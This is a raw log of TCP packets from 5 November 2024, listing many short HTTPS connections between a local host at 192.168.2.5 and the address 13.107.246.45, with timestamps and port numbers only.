Nov 5, 2024 22:44:43.769653082 CET	50016	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.769665003 CET	443	50016	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.832000017 CET	443	50012	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.832961082 CET	50012	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.832974911 CET	443	50012	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.833661079 CET	50012	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.833666086 CET	443	50012	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.961353064 CET	443	50012	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.961400986 CET	443	50012	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.961486101 CET	50012	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.961729050 CET	50012	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.961738110 CET	443	50012	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.961747885 CET	50012	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.961752892 CET	443	50012	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.964329958 CET	50017	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.964365005 CET	443	50017	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:43.964446068 CET	50017	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.964581966 CET	50017	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:43.964601040 CET	443	50017	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.292009115 CET	443	50014	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.292536020 CET	50014	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.292546988 CET	443	50014	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.292999029 CET	50014	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.293003082 CET	443	50014	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.294006109 CET	443	50013	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.294303894 CET	50013	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.294332027 CET	443	50013	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.294675112 CET	50013	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.294681072 CET	443	50013	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.314105034 CET	443	50015	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.314462900 CET	50015	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.314480066 CET	443	50015	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.314852953 CET	50015	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.314856052 CET	443	50015	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.426590919 CET	443	50014	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.426639080 CET	443	50014	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.426709890 CET	50014	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.426934004 CET	50014	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.426939964 CET	443	50014	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.427000046 CET	50014	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.427004099 CET	443	50014	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.428894997 CET	443	50013	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.428946018 CET	443	50013	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.429044008 CET	50013	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.429259062 CET	50013	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.429272890 CET	443	50013	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.429281950 CET	50013	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.429286003 CET	443	50013	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.429863930 CET	50018	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.429887056 CET	443	50018	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.430206060 CET	50018	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.430453062 CET	50018	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.430461884 CET	443	50018	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.431654930 CET	50019	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.431694031 CET	443	50019	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.431787968 CET	50019	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.431945086 CET	50019	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.431960106 CET	443	50019	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.455673933 CET	443	50015	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.455724001 CET	443	50015	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.455773115 CET	50015	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.455892086 CET	50015	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.455903053 CET	443	50015	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.455935955 CET	50015	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.455940008 CET	443	50015	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.458148956 CET	50020	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.458173037 CET	443	50020	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.458477020 CET	50020	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.458949089 CET	50020	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.458961010 CET	443	50020	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.515198946 CET	443	50016	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.516207933 CET	50016	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.516227007 CET	443	50016	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.516758919 CET	50016	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.516762972 CET	443	50016	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.644048929 CET	443	50016	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.644267082 CET	443	50016	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.644325972 CET	50016	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.644521952 CET	50016	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.644529104 CET	443	50016	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.644540071 CET	50016	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.644543886 CET	443	50016	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.647411108 CET	50021	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.647448063 CET	443	50021	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.647545099 CET	50021	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.647701025 CET	50021	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.647716045 CET	443	50021	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.709156036 CET	443	50017	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.709534883 CET	50017	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.709554911 CET	443	50017	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.709959030 CET	50017	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.709964037 CET	443	50017	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.843764067 CET	443	50017	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.843792915 CET	443	50017	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.843821049 CET	443	50017	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.843869925 CET	50017	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.843911886 CET	50017	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.844115973 CET	50017	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.844135046 CET	443	50017	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.844149113 CET	50017	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.844153881 CET	443	50017	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.846620083 CET	50022	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.846633911 CET	443	50022	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:44.846709967 CET	50022	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.846843004 CET	50022	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:44.846853971 CET	443	50022	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.202513933 CET	443	50018	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.204644918 CET	443	50019	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.204694986 CET	443	50020	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.206121922 CET	50018	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.206150055 CET	443	50018	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.206614971 CET	50018	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.206619978 CET	443	50018	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.206918001 CET	50019	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.206942081 CET	443	50019	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.207326889 CET	50019	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.207334042 CET	443	50019	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.207545996 CET	50020	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.207561970 CET	443	50020	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.207907915 CET	50020	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.207911968 CET	443	50020	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.332998037 CET	443	50018	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.333247900 CET	443	50018	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.333296061 CET	50018	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.333445072 CET	50018	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.333461046 CET	443	50018	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.333472967 CET	50018	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.333477020 CET	443	50018	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.336195946 CET	443	50019	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.336258888 CET	443	50019	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.336374044 CET	50023	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.336414099 CET	443	50023	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.336416960 CET	50019	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.336500883 CET	50019	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.336519003 CET	443	50019	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.336529970 CET	50019	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.336536884 CET	443	50019	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.336539984 CET	50023	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.336721897 CET	443	50020	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.336829901 CET	50023	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.336843014 CET	443	50023	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.336901903 CET	443	50020	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.337053061 CET	50020	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.337300062 CET	50020	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.337312937 CET	443	50020	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.337321997 CET	50020	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.337326050 CET	443	50020	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.338836908 CET	50024	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.338864088 CET	443	50024	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.338911057 CET	50025	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.338939905 CET	443	50025	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.338943958 CET	50024	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.338984013 CET	50025	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.339034081 CET	50024	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.339050055 CET	443	50024	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.339183092 CET	50025	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.339196920 CET	443	50025	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.440480947 CET	443	50021	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.440933943 CET	50021	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.440954924 CET	443	50021	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.441376925 CET	50021	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.441380978 CET	443	50021	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.570987940 CET	443	50021	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.571006060 CET	443	50021	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.571089983 CET	50021	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.571104050 CET	443	50021	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.571150064 CET	443	50021	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.571198940 CET	50021	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.571389914 CET	50021	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.571404934 CET	443	50021	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.571414948 CET	50021	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.571419954 CET	443	50021	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.574523926 CET	50026	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.574563026 CET	443	50026	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.574834108 CET	50026	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.574834108 CET	50026	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.574862957 CET	443	50026	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.578152895 CET	443	50022	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.578517914 CET	50022	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.578546047 CET	443	50022	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.578962088 CET	50022	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.578968048 CET	443	50022	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.708575964 CET	443	50022	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.708776951 CET	443	50022	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.708808899 CET	443	50022	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.708844900 CET	50022	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.708889008 CET	50022	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.709042072 CET	50022	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.709053993 CET	443	50022	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.709063053 CET	50022	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.709068060 CET	443	50022	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.711385012 CET	50027	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.711420059 CET	443	50027	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:45.711503029 CET	50027	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.711625099 CET	50027	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:45.711641073 CET	443	50027	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.069461107 CET	443	50023	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.069999933 CET	50023	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.070015907 CET	443	50023	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.070486069 CET	50023	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.070492029 CET	443	50023	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.075371027 CET	443	50025	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.075728893 CET	50025	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.075750113 CET	443	50025	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.076286077 CET	50025	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.076292038 CET	443	50025	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.146850109 CET	443	50024	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.147238970 CET	50024	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.147252083 CET	443	50024	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.147625923 CET	50024	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.147630930 CET	443	50024	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.201066017 CET	443	50023	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.201237917 CET	443	50023	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.201277971 CET	443	50023	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.201296091 CET	50023	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.201343060 CET	50023	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.201451063 CET	50023	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.201463938 CET	443	50023	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.201474905 CET	50023	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.201479912 CET	443	50023	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.204637051 CET	50028	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.204665899 CET	443	50028	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.204756021 CET	50028	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.204896927 CET	50028	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.204909086 CET	443	50028	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.205785990 CET	443	50025	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.205924988 CET	443	50025	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.205961943 CET	443	50025	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.205977917 CET	50025	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.206015110 CET	50025	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.206058025 CET	50025	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.206070900 CET	443	50025	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.206080914 CET	50025	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.206085920 CET	443	50025	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.208583117 CET	50029	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.208615065 CET	443	50029	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.208694935 CET	50029	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.208832979 CET	50029	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.208844900 CET	443	50029	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.337369919 CET	443	50026	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.337950945 CET	50026	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.337961912 CET	443	50026	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.338593960 CET	50026	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.338598967 CET	443	50026	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.444399118 CET	443	50027	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.444761038 CET	50027	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.444772959 CET	443	50027	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.445188999 CET	50027	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.445194960 CET	443	50027	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.471295118 CET	443	50026	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.471342087 CET	443	50026	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.471492052 CET	50026	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.471582890 CET	50026	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.471595049 CET	443	50026	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.471604109 CET	50026	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.471607924 CET	443	50026	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.474586964 CET	50030	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.474602938 CET	443	50030	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.474674940 CET	50030	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.474790096 CET	50030	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.474800110 CET	443	50030	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.580319881 CET	443	50027	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.580343008 CET	443	50027	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.580522060 CET	50027	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.580535889 CET	443	50027	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.580575943 CET	443	50027	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.580624104 CET	50027	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.580727100 CET	50027	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.580740929 CET	443	50027	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.580751896 CET	50027	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.580759048 CET	443	50027	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.584433079 CET	50031	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.584467888 CET	443	50031	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.584534883 CET	50031	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.584682941 CET	50031	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.584693909 CET	443	50031	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.620647907 CET	443	50024	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.620771885 CET	443	50024	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.620825052 CET	50024	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.620877981 CET	50024	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.620892048 CET	443	50024	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.620903015 CET	50024	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.620907068 CET	443	50024	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.623624086 CET	50032	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.623652935 CET	443	50032	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.623718977 CET	50032	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.623872995 CET	50032	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.623886108 CET	443	50032	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.935431957 CET	443	50028	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.937087059 CET	50028	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.937113047 CET	443	50028	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.937659979 CET	50028	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.937665939 CET	443	50028	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.950159073 CET	443	50029	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.950537920 CET	50029	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.950563908 CET	443	50029	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:46.951107025 CET	50029	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:46.951112986 CET	443	50029	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.066524029 CET	443	50028	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.066551924 CET	443	50028	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.066600084 CET	443	50028	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.066615105 CET	50028	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.066642046 CET	50028	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.066869020 CET	50028	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.066884995 CET	443	50028	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.066896915 CET	50028	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.066901922 CET	443	50028	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.070396900 CET	50033	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.070429087 CET	443	50033	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.070502996 CET	50033	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.070708990 CET	50033	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.070719957 CET	443	50033	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.086163044 CET	443	50029	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.086296082 CET	443	50029	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.086334944 CET	443	50029	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.086343050 CET	50029	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.086417913 CET	50029	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.086448908 CET	50029	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.086462975 CET	443	50029	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.086472034 CET	50029	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.086477995 CET	443	50029	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.088937044 CET	50034	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.088974953 CET	443	50034	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.089045048 CET	50034	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.089167118 CET	50034	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.089181900 CET	443	50034	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.212311029 CET	443	50030	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.212949038 CET	50030	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.212968111 CET	443	50030	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.213403940 CET	50030	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.213408947 CET	443	50030	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.325859070 CET	443	50031	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.326286077 CET	50031	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.326297045 CET	443	50031	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.326875925 CET	50031	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.326879978 CET	443	50031	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.345046997 CET	443	50030	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.345109940 CET	443	50030	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.345190048 CET	50030	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.345381975 CET	50030	443	192.168.2.5	13.107.246.45
